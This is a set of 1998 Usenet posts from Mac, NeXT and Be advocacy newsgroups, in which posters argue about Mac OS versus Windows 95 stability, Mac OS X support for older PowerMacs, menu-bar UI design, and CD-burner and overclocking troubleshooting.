Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 18:15:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt1jt$3gb$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net>
In article <joe.ragosta-3107980845370001@wil31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In the case of the Mac, if the programmer does something stupid,
> it can crash.
OK.
> In the case of Windows, if the user does something stupid,
> the entire OS can be wiped out.
And in the Mac OS.
So, to summarize, in the Mac OS a misbehaved application can crash your
computer. Windows 95, OTOH, has a good chance of protecting you from the
crash. In the Mac OS and Windows 95, the user can wipe out the entire OS by
doing something stupid. Therefore, in those two dimensions, Windows 95 is
better in one and equal in another.
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 18:26:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt289$4k8$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net> <35c1d932.0@news.depaul.edu>
In article <35c1d932.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Actually, it's not, since a lot of people would have preferred to
> continue using 3.x, rather than upgrading their machine and software.
Because the performance of Windows 95 on a 386 or lower would have been
unacceptable. OTOH, would the performance of Mac OS X on a 9600/350 be
unacceptable? Of course not. So why would you want to run OS 9 instead of OS
X?
The point that some people are missing is that we are not talking about some
Mac Plus user who wants to run OS X. We are talking about people with new and
fast (in some cases faster than the G3s) computers. Just as a PII-200 user
probably wouldn't want to run Windows 3.5 (if Microsoft had developed it),
someone with a 9600/350 probably would rather run OS X than OS 9.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 05:30:32 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pu95o$2fn$1@lwnws01.ne.highway1.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com>
rr6013@yahoo.com wrote:
> And indeed it most certainly does... Michael Peck from reading
> his posts is probably more keyboard centric while I know John
> Kheit is mouse centric. I used to be mouse centric until emacs
> expanded my envelope of productivity at the keyboard. Emacs
> "rules" lasted until I met John Kheit. NeXT drag&drop enhancements
> are second to none in productivity even against the most ardent
> emacs gurus.
>
> So YMMV is a legitimate credo depending upon work preference,
> keyboard or mouse. Both should be there to accomodate equally
> valid styles.
Well, I also like keyboard shorts, and find emacs rather invaluable at times.
And why agree, both facilities should be taken advantage of. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
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References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
<35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se>
<6pt3sq$5sv$1@lwnws01.ne.highway1.com>
Message-ID: <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com>
Date: Sat, 01 Aug 1998 03:58:03 GMT
NNTP-Posting-Date: Fri, 31 Jul 1998 20:58:03 PDT
Organization: @Home Network
In <6pt3sq$5sv$1@lwnws01.ne.highway1.com> John Kheit wrote:
> Michael Peck <eusmpec@exu.ericsson.se> wrote:
> > I don't think that this is the point. Maybe I'm the only one, but I
> > think that using the menu mechanism as an accelerator is a mistake for
> > the very reason that there are better, other, separate mechanisms
> > designed for that. And while you may claim "I'm only *adding*
> > functionality", by blurring the lines of distinction you are only
> > degrading the whole picture.
>
> Although I see your point, I disagree. I not you had to use the passive
> voice in much of your explanations; in other words, who says you must or
> should employ another mechanism? Again, I see how you want to break things
> up, and don't think that's a bad way of doing things. I also, however, am
> far from conviced that it's the best way of doing things.
>
> Having tear off menus, and top level access is useful to some, at the very
> least. A mechanism I proposed a long time ago would be to be able to tear
> off any menu item, and build your own persistent tear off menu with things
in
> it, so you can have a custom top level access "menu palette." This is a
very
> consistent, unobtrusive kind of design. It doesn't yell "hey hey, look at
> me, I'm a weird button with an ugly undescribable icon and I take up extra
> space and some how stuck on to stuff." It's a very customizable solution,
> easily understood and used, yet doesn't distract from your work. It's
> simplification. Unless you really need a new mechanism because and old one
> doesn't cut it, it may make sense to just allow the old one the enhanced
> functionality.
>
> Now, I'm not saying I know for a fact that one philosophy is superior to
the
> other in fact. I just don't. I have my suspicions, but I may well be
wrong
> on it. Regardless, you don't know either, and that's why I think you had
to
> use the passive voice because there is no authority or study that would be
> conclusive on this. Right now we're kind of almost discussing philosphy in
> terms of UI; sadly, we've probably done more thinking on this than others
> should have, but I digress.
>
> As always, YMMV.
>
>
And indeed it most certainly does... Michael Peck from reading his posts is
probably more keyboard centric while I know John Kheit is mouse centric. I
used to be mouse centric until emacs expanded my envelope of productivity at
the keyboard. Emacs "rules" lasted until I met John Kheit. NeXT drag&drop
enhancements are second to none in productivity even against the most ardent
emacs gurus.
So YMMV is a legitimate credo depending upon work preference, keyboard or
mouse. Both should be there to accomodate equally valid styles.
-r
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 1 Aug 1998 13:59:29 +1000
Organization: University of Queensland
Message-ID: <6pu3r9$hmv$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-3107981050490001@wil31.dol.net...
>In article <6prd57$h22$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> Joe Ragosta <joe.ragosta@dol.net> wrote in message
>> joe.ragosta-3007981600420001@wil33.dol.net...
>> >In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
>> ><earl.malmrose@nospam.sierra.com> wrote:
>> >
>> >> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
>> >> <6pq2n2$q44@newsb.netnews.att.com>...
>> >> >Christopher Smith <drsmithy@usa.net> wrote:
>> >I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time
if
>> >I have anything else going on. Mine's IDE, so that may be part of it, as
>> >well.
>>
>> 6X over IDE could get a bit hairy - what type of drive & m/b have you got
>> again ?
>
>Abit TX5
>Traxdata CD-R/RW 2x2x6
Ok I was more interested in the hard disk - but that's only a 2x write, so
it shouldn't matter. Make sure you have your hard disk and burner on
different IDE channels - ie each has their own cable, since AFAIK the IDE
controller in the TX chipset doesn't support two devices active on the bus
at the same time.
>It's clocked at 66x2.5. I've never been able to go any higher than that,
>even with a massive, expensive heat sink.
The CPU is probably multiplier-locked, you'd most likely have to up the bus
speed to overclock. Couldn't say for sure, I don't know that much about
Cyrix CPUs since I avoid them whenever possible. That motherboard supports
75 & 83Mhz bus speeds IIRC, so try running at 2.5x75. 83Mhz bus usually
requires very good quality EDO RAM or SDRAM, although you can sometimes get
away with it with "normal" stuff.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
Date: Fri, 31 Jul 1998 13:51:22 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6pt3q5$gsj$1@ash.prod.itd.earthlink.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net>
Joe Ragosta wrote in message ...
>> Be did sign licenses with Motorola, PowerComputing, and Umax to >>replace
MacOS with BeOS. The only problem seems to be that the >>cloners were
making their bread and butter selling the MacOS and >>were countingon that
revenue during the transition to Be.
>I guess that sort of shoots the argument that the cloners were just
>working to increase MacOS' market share.
Not really. It's still valid. Just as long as nobody was thinking the
cloners weren't looking out for themselves first, and Apple second.
Which doesn't mean THAT Apple would have to lose anything.
>AND the argument that Apple should be supporting Be because they >were just
trying to help sell more Macs.
Nope. It just shows that Be was looking out for Be first.
Date: Fri, 31 Jul 1998 15:29:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107981529330001@wil53.dol.net>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <joe.ragosta-3107981038520001@wil31.dol.net> <6pt2gg$m29$1@hecate.umd.edu>
In article <6pt2gg$m29$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : <english@primenet.com> wrote:
>
> : > Joe Ragosta <joe.ragosta@dol.net> said:
> : >
> : > >Should be. In a perfect world. In a real world, it needs to be tested.
> : >
> : > Which is what we've ALL been saying: it is the TESTING that is the issue.
> : > And you CAN throw more bodies at testing and see the reduction in time
> : > scale linearly.
>
> : Only if you have unlimited resources.
>
> : Apple can't afford another quarter in the red any time soon. Spending
> : extra money on testing means that something else slips. Which projects
> : would you like to see slip?
>
> : The G4 Macs?
>
> : El Capitan Macs?
>
> What is the El Capitan Mac?
It's the next generation Mac case design which will replace the PowerMac
G3 cases. It's apparently another "style" design.
Inside will be the next generation motherboard (100 MHz bus, AGP, etc)
and, probably, copper CPUs at around 400 MHz.
>
> : The Consumer Portable?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 15:21:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-3107981521390001@wil53.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6pt1jt$3gb$1@nnrp1.dejanews.com>
In article <6pt1jt$3gb$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-3107980845370001@wil31.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In the case of the Mac, if the programmer does something stupid,
> > it can crash.
>
> OK.
>
> > In the case of Windows, if the user does something stupid,
> > the entire OS can be wiped out.
>
> And in the Mac OS.
Not in the same way. You can't drag the System Folder to the trash in Mac
OS, but you can delete the Windows folder in Windows.
>
> So, to summarize, in the Mac OS a misbehaved application can crash your
> computer. Windows 95, OTOH, has a good chance of protecting you from the
Also true of Windows 95 or NT. Just ask the Navy.
> crash. In the Mac OS and Windows 95, the user can wipe out the entire OS by
> doing something stupid. Therefore, in those two dimensions, Windows 95 is
> better in one and equal in another.
Wrong. Until you can show that either of these events is more likely in
Mac OS, you don't have a case.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 14:53:38 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <26703-35C212B2-10@newsd-122.bryant.webtv.net>
References: <26966-35C2062C-23@newsd-123.bryant.webtv.net>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
Content-Transfer-Encoding: Quoted-Printable
ETAuAhUAymJwghWQviRMDqgT3IWbUDOLMVUCFQCXR3wI1cqt/Tm/XP9511s9XVEa5g==
[oops, I inadvertently snipped c.s.n.a.]
Richard=A0Frith-Macdonald wrote:
>Joshua Moore wrote:
>>Richard Frith-Macdonald wrote:
>>><snip>
>>How often are you Quitting, Hiding, or
>>Printing inside of an application? Having
>>them at the top level degrades the "taxonomy
>>of importance" that the Mac's menu bar
>>represents.
>>=A0=A0=A0 =A0 The more frequently an item is used, the
>>higher it is in the heirarchy of the menu. The
>>menus themselves are the most important
>>items, so their placed at the top level of the
>>menubar.
>I agree with the point that the stuff on the
>top-level should be what the user needs/wants
>to get to quickly.
>I have carefully refrained from specifying what
>items those should be, except to state a few
>personal preferences, and to say that I think it
>should be possible for individual users to
>customise the system for themselves. In
>answer to your question though -
>
>Quit
>=A0=A0I hardly ever use this, and don't think it
>belongs at the lop level. However, I have
>heard (and can to some extent sympathise
>with) the argument that new users need to be
>able to easily see at a glance how to quit, for
>the sake of their peace-of-mind.
The first thing you learn in the MacOS is how to use the menus. Soon
after that your taught the location of the universal commands. Quit is
always in the same place (the last item in the File menu). If you forget
where it is all you have to do is look through the menus.
=A0=A0 Imagine a first time user accidently hitting the Quit button
while roaming the menubar. Triggering events that a new user can see as
being fatal (and therefore their fault) doesn't encourage them to
explore. It's user-unfriendly.
>Hide
>=A0=A0I use this very frequently because I work with
>LOTS of applications running. If not the most
>frequently used item, it's certainly in the top
>three along with 'Document' and 'Services'
>
>Print
>=A0 Almost never - but I know of users (editors
>and designers) who use it extremely frequently
>to get a print preview of what they are working
>on. For those users a 'preview' button at
>top-level would be good.
>>=A0=A0=A0=A0 =A0 Need quick access to an item? Use the
>>keyboard equivalents. That's certainly easier
>>to do than schlepping the mouse across your
>>17" monitor - right?
>Actually, it's a 21" monitor - and I still find using
>the 'hide' menu option about as fast or faster,
>depending on whether I'm primarily using
>mouse or keyboard at the time. This is
>probably down to long practice with the
>mouse, and I wouldn't expect it to be the case
>for a new user - but, on the other hand, I
>wouldn't expect a new user to be able to
>remember the keyboard shortcuts until they
>had used them for a while either.
=A0 I was just covering my bases in case you were one of the people who
thought the Mac's menubar was hard to get to on a large screen.
>>=A0=A0=A0 =A0 I personally think Apple should just
>>implement menu palettes in addition to the
>>menubar. Then someone would be able to
>>select the palette they needed from a
>>contextual menu, have it pop up near their
>>mouse and then tuck it away in the menu bar
>>when their through with it. Or just keep using
>>the menubar the way they do now.
>If I understand you correctly, that's pretty much
>what I think too - except that I want to tuck
>away one or two favorite menu items on the
>menubar, not just menus.
When I was writing the above paragraphs I was trying to avoid using
buttons in the menubar by combining MacOS and NeXT behaviors.
=A0=A0=A0 =A0 I'll walk you through the concept so you'll get a better
understanding.
1. You'd press Control-click to bring up a MacOS contextual menu.
2. There would be an entry titled "Menus".
3. You'd bring the cursor over "Menus" and a list of all the available
menus would be displayed (Apple, File, Edit, Services, etc.,).
4. You'd make your selection (let's say you choose the "File" menu)
5. A palette of buttons would pop up near your cursor, labeled with all
of the commands in the File menu.
6. You'd make your command selection just as if you had moused all the
way to the menu bar.
The paletting behavior is similar to how MacOS 8.5' s application menu
can be torn off, but makes use of the Mac's contextual menus and NeXT's
option of having the menubar pop up beneath the cursor.
=A0=A0=A0 =A0 With this behavior any command can be elevated to the top
level (therefore easily accessible) and also preserve menu heirarchy.
=A0=A0It also combines Mac and NeXT concepts in complimentary ways.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 23:21:04 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731231022.3174A-100000@ux10.cso.uiuc.edu>
References: <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu> <MPG.102c0606e684fb88989a5f@news.supernews.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <MPG.102c0606e684fb88989a5f@news.supernews.com>
On Fri, 31 Jul 1998, Donald Brown wrote:
> In article <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu>,
> tokarek@uiuc.edu says...
> > Everything about Mac OS X _except_ for the kernel and IOKit drivers is
> > abstracted from the hardware _through_ the kernel. The kernel interface
> > for these higher level parts of Mac OS X is the _same_ whether it is
> > running on a PowerMac 9500/120 or a PowerMac G4 766. These portions of the
> > OS _DO_NOT_CARE_ what the underlying hardware is. _THEY_DO_NOT_KNOW_ what
> > the underlying hardware is. There is no extra work to get Mac OS X
> > running on these machines except for the kernel and drivers. The other
> > parts of the OS you mention are being done _anyway_! They do *NOT* have to
> > be rewritten to run on pre-G3 PowerMacs.
>
> My understanding was that the core OS parts were all abstracted, but that
> not all of Carbon would be.
>
> Are you sure about this?
I'm sure that Carbon will have to interface with the kernel. Hardware
access is strictly controlled. Now Apple will probably work into the
kernel a method of allowing certain things to directly access the
hardware, but I just don't see that as being much of an issue for Carbon.
Direct and exclusive access to the hardware by something like Carbon isn't
very conducive towards a stable multitasking environment with memory
protection.
It's possible that certain parts of Carbon are tied to the hardware, but
these should be few and far between. Otherwise, Carbon is going to be too
big a deal for Apple to handle. That would turn this into another Copland,
and Apple _cannot_ afford to do that..
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 17:58:30 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6ptppj$s26$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6pt1jt$3gb$1@nnrp1.dejanews.com> <joe.ragosta-3107981521390001@wil53.dol.net> <6ptikb$sv7$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 1 Aug 1998 01:08:03 GMT
quinlan@intergate.bc.ca wrote in message
<6ptikb$sv7$1@nnrp1.dejanews.com>...
>In article <joe.ragosta-3107981521390001@wil53.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> Not in the same way. You can't drag the System Folder to the trash in Mac
>> OS, but you can delete the Windows folder in Windows.
>
>I can't drag the System Folder to the trash?
Not if its the booted System Folder. Boot to a CD and you'll have no problem
Trashing your hard drive's System Folder.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 20:35:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt9qj$fcc$1@nnrp1.dejanews.com>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <joe.ragosta-3007981652140001@wil78.dol.net> <6pr26d$jco$1@nnrp1.dejanews.com> <joe.ragosta-3107981040050001@wil31.dol.net>
In article <joe.ragosta-3107981040050001@wil31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
[My original comments snipped]
> Not if the bug is in the drivers for the pre-G3 Macs.
[My original comments snipped]
> Not necessarily true. What about the drivers? And the kernel?
No one is saying that bugs will be found in the kernel and driver code but you
have been claiming that there is complexity associated with porting PDF and
Carbon to these Macs. That is not the case as they do not touch the hardware.
Was your last post an acknowledgment of that?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080101261100.VAA09290@ladder03.news.aol.com>
Date: 1 Aug 1998 01:26:11 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R3107981030580001@news>
Let's see...
Reasons why OpenStep or Mac OS X Server/user (or whatever they'll call the
commercial release) wouldn't work well on the Mitsubishi Amity SP Pen
slate/dockable system.
No keyboard when mobile, no handwriting recognition--how does one enter text?
As I've noted before, a UI dependent on dragging things around is awkward with
a stylus, and one with menus at the top of the screen means much of it is
obscured by one's hand when making menu actions.
MJP - rather than NeXT Nazis, how about an efficiency expert observing that by
arranging the menu vertically instead of horizontally, one then has room for
three entries (print, hide and quit) which may then be accessed in a quicker
fashion, point and click instead of point, click/drag/release?
Having Application and document tiles the same size allows them to coexist
efficiently on-screen--it'd be interesting if documents had been the size of
two icons connected horizontally, but that would offend my sense of aesthetics,
,and likely that of others as well.
I wonder if anyone who's working on Windowmaker is reading this?
I'm using a Mac at work now, and find the interface incredibly awkward, mostly
because of modal dialogs, but to a lesser extent because of how jumpy
(displaywise) the finder list views are and how awkward printing is. (Chooser,
page setup print, options print, repeat). ::sigh::
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Date: Fri, 31 Jul 1998 10:50:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3107981050490001@wil31.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au>
In article <6prd57$h22$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-3007981600420001@wil33.dol.net...
> >In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
> ><earl.malmrose@nospam.sierra.com> wrote:
> >
> >> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
> >> <6pq2n2$q44@newsb.netnews.att.com>...
> >> >Christopher Smith <drsmithy@usa.net> wrote:
> >> Are you trying to use a high-speed burner, or have a poor interface to
> the
> >> burner? I burn at 2x on a P-90 over SCSI, while in the background a cpu
> >> intensive app is always running, and never get coasters.
> >
> >I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
> >I have anything else going on. Mine's IDE, so that may be part of it, as
> >well.
>
> 6X over IDE could get a bit hairy - what type of drive & m/b have you got
> again ?
Abit TX5
Traxdata CD-R/RW 2x2x6
It's clocked at 66x2.5. I've never been able to go any higher than that,
even with a massive, expensive heat sink.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 01 Aug 1998 07:33:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pugcq$3pt$1@nnrp1.dejanews.com>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com> <6ptgu1$nd3$1@plo.sierra.com>
In article <6ptgu1$nd3$1@plo.sierra.com>,
"Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
> The first 4 bytes of a Mac's memory do not contain 0, they point to an
> invalid address, so if you have a null pointer, and dereference it, then
> you'll get an error.
The situation that you descibe is only a problem if you double dereference the
null pointer or, more likely, double dereference a nil handle.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
